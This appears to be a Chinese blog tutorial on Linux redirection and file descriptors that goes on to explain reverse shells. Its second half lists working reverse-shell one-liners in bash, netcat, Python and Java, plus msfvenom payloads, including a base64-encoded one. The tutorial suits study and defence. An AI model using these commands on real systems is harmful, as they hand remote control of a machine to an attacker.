Linux 重定向以及反弹shell

Linux 重定向与反弹shell

重定向

设备与文件

默认情况下,Unix 将输入与终端键盘相关联,输出与终端显示相关联。Unix 以“一切皆文件”,包括键盘和显示器以及其他设备,几乎所有的设备文件都会被挂载到 /dev/ 目录下:

image-20220210195548343

常用文件

linux中几个特殊的文件:

  • stdout: /dev/stdout

  • stderr: /dev/stderr

  • stdin: /dev/stdin

  • fd:/dev/fd/[0-9]*

    该目录用于表示进行操作的程序所打开的文件表的所有文件描述符 fd

  • 空设备:/dev/null,所有的发送至该设备(文件)的数据都将被遗弃;

bash 中支持的几个设备文件:

  • tcp:/dev/tcp/host/port
  • udp:/dev/udp/host/port

实际上这tcp与udp目录下的这两个设备文件并不存在,而是bash匹配到这几个模式后,会进行相关的socket调用,使得如同像操作文件一样操作网络\文件描述符。(也就是说该特性对其他shell,例如zsh、fish等不可用)

img

进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。

在默认情况下,stdout是行缓冲的,他的输出会放在一个buffer里面,只有到换行的时候,才会输出到屏幕。而stderr是无缓冲的,会直接输出。

# include <stdio.h>

int main()
{
  printf("%s","stdout");
  fprintf(stderr,"%s\n","stderr");
}
➜  gcc main.c -o test
➜  ./test  
stderr
stdout
File Descriptor

默认情况下,这些文件都会有一个文件描述符(file descriptor,FD),每个程序默认有:

  • stdin = 0
  • stdout = 1
  • stderr = 2

文件描述符被存储在每个进程中的文件描述符表(file descriptor table)中,各进程文件描述符表相互独立

Linux文件描述符表示意图

在创建进程时,默认情况下创建了 0、1 和 2 并将其映射到相应的流。

每个流都不知道发送到其描述符或从中读取的数据来自或去往何处;流只处理文件描述符,而不是数据源本身。进程只需要处理文件描述符,而不是文件本身;内核可以安全地管理文件。

分配新的文件描述符时,操作系统会始终使用最低数值的未使用(未打开)的文件描述符。

重定向

分类 用法 说明
输出 n>filename 以输出的方式打开文件 filename,并绑定到文件描述符 n。n 可以不写,默认为 1,也即标准输出文件。
n>&m 用文件描述符 m 修改文件描述符 n,或者说用文件描述符 m 的内容覆盖文件描述符 n,结果就是 n 和 m 都代表了同一个文件,因为 n 和 m 的文件指针都指向了同一个文件。 因为使用的是 >,所以 n 和 m 只能用作命令的输出文件。n 可以不写,默认为 1
n>&- 关闭文件描述符 n 及其代表的文件。n 可以不写,默认为 1
&>filename 将 stdout 和 stderr 全部重定向到 filename。
输入 n<filename 以输入的方式打开文件 filename,并绑定到文件描述符 n。n 可以不写,默认为 0,也即标准输入文件。
n<&m 类似于 n>&m,但是因为使用的是 <,所以 n 和 m 只能用作命令的输入文件。n 可以不写,默认为 0
n<&- 关闭文件描述符 n 及其代表的文件。n 可以不写,默认为 0
输入和输出 n<>filename 同时以输入和输出的方式打开文件 filename,并绑定到文件描述符 n,相当于 n>filename 和 n<filename 的总和。。n 可以不写,默认为 0。

如果右侧是文件描述符fd,且在右侧,需要在fd前面加入 &

fd> 之间的无空格,>file 之间空格可有可无;最好都采用无空格方式。

重定向原理

应用程序拥有文件打开表,实际上是一个结构体数组,File Descriptor实际上就是数组的序号(从0开始);数组中每一个的元素是一个文件指针(用于找到OS的文件表,存储真正的文件信息)。即文件描述符一直都是固定的,而变动的是文件描述符 fd 位置存储的结构体值。

ls 1>out

该程序首先打开out文件,构造一个结构体并存入程序的文件打开表(数组)中,其fd为元素在数组中的序号。1>out 即将原应该指向out文件的结构体值,覆盖到数组的1号位;此后,数组的1号位,即fd=1的文件指向为文件out。ls 命令依然会向 fd=1 的对应文件进行写标准输出操作,故所有的标准输出都会写入到out文件中。

重定向并不影响程序使用哪个文件描述符来进行读写操作,而是改变了相应文件描述符指向其他文件。

多次重定向

多个操作符在一起会从左往右依次执行。

对于命令 cmd 1>file 2>&1 有两步:

  1. 先执行1>file,让文件描述符 1 指向 file;
  2. 执行 2>&1,用文件描述符 1 的fd结构体内容覆盖文件描述符 2 fd结构体内容;

最终fd 1、2都指向file。

如果为 cmd 2>&1 1>file,其结果会导致:fd数组2号位置指向stdout,fd数组1号位指向file,即之后的标准输出会输出到file中。

绑定文件描述符

实际上重定向时,可以制定未使用的一个文件描述符映射至文件,例如将 fd=1234 映射至特定 tcp socket

exec 123<>/dev/tcp/www.baidu.com/80

此处将 fd=123socket=www.baidu.com:80 建立映射。

此后便可以使用该文件描述符进行操作,例如:

image-20220211000230956

每当程序打开并建立一个文件描述符,在 /dev/fd/ 下可以看到:

image-20220211004339148

/dev/fd/ 中的文件并不能直接写入。

反弹 shell

linux 反弹shell即将远程终端的shell程序(一般选用bash)的输入输出重定向于另一个机器的应用程序。

反弹shell通常需要:

  • 将本地shell的 stdout 与 stderr 重定向于远程机器应用的输出。
  • 将本地shell的输入重定向于远程连接中的输入。

:经典的 bash 中的反弹shell:

bash -i &> /dev/tcp/127.0.0.1/1234 0>&1

&> /dev... 将程序文件打开表 fd[1]fd[2] 的结构体值被 tcp socket文件对应的fd结构体值所覆盖,之后bash对 fd[1]fd[2] 的输出,都将会输出到这个tcp socket中;

0>&1 的作用为将 fd[1] 的结构体内容覆盖到 fd[0] 上,即之后bash要从 fd[0] 获取输入时,将会从这个tcp socket中获取输入内容(第一步已经将 fd[1] 指向了tcp socket)

:如果为下面这种,则bash会试图打开两条tcp连接,可能导致非预期的错误:

bash -i &> /dev/tcp/127.0.0.1/1234 0</dev/tcp/127.0.0.1/1234

:由于/dev/tcp只在bash、sh中有效,所以可以使用 -c 参数执行命令

bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0<&1'

:先绑定文件描述符,之后使用

exec 404<> /dev/tcp/127.0.0.1/1234; cat <&404 | while read line ; do $line >&404 2>&1; done;
  1. 为tcp socket建立一个描述符结构体,将其赋值到在 fd[404] 上;
  2. 之后对于cat命令,fd[0]赋值为fd[404]的内容,cat从fd[0]映射的文件读取内容,即从tcp socket中读取;
  3. cat读取的内容通过管道送到read中,赋给变量 line(line即为远程输入的命令);
  4. fd[404] 的内容赋到 fd[1]fd[1]的内容被赋到fd[2],之后line的执行结果被写入到fd[1]与fd[2],也即被写入tcp socket;
  5. 下一个循环。

read 命令通过读取用户的标准输入,为变量赋值:

image-20220211002411193

image-20220211001553055

exec 404<>/dev/tcp/127.0.0.1/1234; 0<&404; bash -i <&404 >&404 2>&404
  1. fd[404]与tcp socket建立映射;
  2. fd[0]被赋值为fd[404]的内容;
  3. 将bash的 fd[0]fd[1]fd[2] 都设为 fd[404] 的值。

image-20220211003703419

利用工具

利用nc

如果目标机器装有netcat,也可以利用 -e 参数将程序的输入输出定向于网络。

:目标机

nc -e /bin/sh ip port

注意:如果利用nc作为工具来获取反弹shell的数据以及对其输入数据,其本身是但用户输入换行符后才会真正地发送数据,而且此时目标机器未分配伪终端,所以此时的shell就如同执行shell脚本一样,而不是一个交互式终端。

msfveon

msfveon 可以生成多种类型的反弹shell的payload,可以使用以下命令查找相应的payload:

msfveon -l payloads | grep cmd

msfveon 生产使用 netcat 接受连接的命令:

➜  ~ msfvenom -p cmd/unix/bind_netcat                                                    
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 109 bytes
mkfifo /tmp/hvbynpx; (nc -l -p 1234 ||nc -l 1234)0</tmp/hvbynpx | /bin/sh >/tmp/hvbynpx 2>&1; rm /tmp/hvbynpx

利用 netcat 来生产反弹shell命令:

➜ msfvenom -p cmd/unix/reverse_netcat LHOST=127.0.0.1 LPORT=1234 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 99 bytes
mkfifo /tmp/hkcizbp; nc 127.0.0.1 1234 0</tmp/hkcizbp | /bin/sh >/tmp/hkcizbp 2>&1; rm /tmp/hkcizbp

其他语言反弹shell

python 重定向

相关函数

  • socket.dup():创建套接字的副本。

  • socket.fileno():返回套接字的文件描述符(一个小整数),失败返回 -1

  • os.dup2(fd, fd2, inheritable=True):把文件描述符 fd 复制到 fd2(之后对fd2的操作实际上就是对fd对应文件的操作),必要时先关闭后者。返回 fd2。新的文件描述符默认是可被子进程继承的,除非在 inheritableFalse 时,是不可继承的。

    dup2 不会改变 file.fileno() 方法的返回值,但是写入到file2的数据都会重定向于file1 。

One line code

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

展开为:

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh","-i"])

实际上就是把子进程的输入输出重定向到socket。

:利用msfveno 生成python 反弹shell

➜  msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=1234 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 553 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAsICAgIHN1YnByb2Nlc3MgLCAgICBvcyAgICAgOyAgICAgaG9zdD0iMTI3LjAuMC4xIiAgICAgOyAgICAgcG9ydD0xMjM0ICAgICA7ICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgLCAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICBzLmNvbm5lY3QoKGhvc3QgLCAgICBwb3J0KSkgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAsICAgIDApICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgLCAgICAxKSAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICwgICAgMikgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==')[0]))"

该代码作用为:将下面的字符串通过UTF-8进行编码,然后再通过base64解码出原始代码,最后调用exec执行字符串中的代码。(内容与上述例子相同)

pty

利用python的 pty 模块,可以在目标机器上分配一个伪终端,可以让命令的输出成功应用终端色彩模式。

python -c 'import pty; pty.spawn("/bin/bash")' &>/dev/tcp/127.0.0.1/1234 0<&1

image-20220322201208661

可以与 socat 搭配,让本终端应用伪终端,但依旧会有字符显示错位等小问题。

控制端

socat file:tty,raw,echo=0 tcp-listen:8080

file:指定了终端的IO模式,tcp-listen:指定监听tcp端口。

如果被控端也有 socat 工具的话,也可以这样:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:target-ip:1234

exec:处理bash的io,且指定之后的IO属性,将IO与 tcp 相连。

python pty

java

java 可以利用 Runtime().exec() 方法执行命令。该方法返回一个 Process 对象,其创建的线程可以通过以下方法重定向子进程的流:

  • getOutputStream():获取一个输入流,以读取子进程的标准输出;

  • getErrorStream():获取一个输入流,以读取子进程的错误输出;

  • getInputStream():获取一个输出流,以将数据写入子进程的标准输入;

exec方法提供了多个重载形式:

public Process exec(String command) throws IOException {
        return exec(command, null, null);
}

public Process exec(String command, String[] envp) throws IOException {
    return exec(command, envp, null);
}

public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}

public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

public Process exec(String[] cmdarray, String[] envp) throws IOException {
    return exec(cmdarray, envp, null);
}

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

无论是哪一种,最终都是调用了 public Process exec(String[] cmdarray, String[] envp, File dir) 方法。

需要注意的是,要正确的将命令以字符串数组的形式传入exec方法中,而不是直接传入一个字符串。因为传入 String cmd 时,

exec(String command, String[] envp, File dir) 方法会对其进行分割,分割符为 '\n'' ' '\t' 等空白符。

String []cmds = new String[]{"/bin/bash","-c","bash -i 1>/dev/tcp/127.0.0.1/12345 2>&1 <&1"};
Process process = Runtime.getRuntime().exec(cmds);
process.waitFor();

Process 的执行是异步的,所以不用单独开启一个线程来执行命令。需要结束时使用 destory 方法销毁子进程。


参考

posted @ 2020-04-03 20:41  NIShoushun  阅读(578)  评论(0编辑  收藏  举报